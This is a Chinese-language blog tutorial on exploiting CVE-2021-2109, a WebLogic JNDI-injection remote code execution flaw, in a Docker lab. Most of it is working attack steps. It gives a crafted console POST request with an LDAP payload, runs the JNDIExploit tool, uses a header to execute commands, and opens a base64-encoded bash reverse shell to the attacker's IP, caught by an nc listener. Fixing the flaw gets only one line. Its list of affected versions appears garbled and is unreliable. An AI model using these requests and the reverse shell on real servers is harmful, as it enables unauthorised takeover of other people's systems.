如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
一、漏洞描述
2021年1月20日,Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。
影响版本
-
WebLogic 3.6.0.0
-
WebLogic 1.3.0.0
-
WebLogic 2.1.3.0
-
WebLogic 2.1.4.0
-
WebLogic 1.1.0.0
环境搭建
攻击机(kali):192.168.159.131 靶机:192.168.159.139
这里使用docker来搭建环境
docker pull ismaleiva90/weblogic12
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
访问http://your-ip:49163/console即可看到页面
漏洞复现
使用burpsuit截取访问http://your-ip:49163/console报文,发送到repeater模块
1、将GET /console/console.portal?_nfpb=true HTTP/1.1修改为POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.159;131:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
请注意192.168.159;131地址的第三位后面为分号,192.168.159;131为启动LDAP服务的攻击机IP
2、在cookie上方添加“cmd:id”来获取靶机服务器id信息,如下图所示
3、在攻击机上启动LDAP
下载地址:
https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11
java -jar JNDIExploit-v1.11.jar -i 192.168.159.131
4、重放修改过的报文,成功获取到靶机上的id信息
5、反弹shell
在http://www.jackson-t.ca/runtime-exec-payloads.html网站将bash -i >& /dev/tcp/192.168.159.131/2333 0>&1 进行base64编码
将编码后的反弹shell命令复制到下图cmd后面进行重放,同时在攻击机上开启nc –lvvp 2333命令监听2333端口,点击发送
成功反弹回shell
修复建议
升级官方安全补丁
看完上述内容,你们掌握如何利用Weblogic Server远程代码执行CVE-2021-2109 漏洞反弹的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!
原创文章,作者:kirin,如若转载,请注明出处:https://blog.ytso.com/220359.html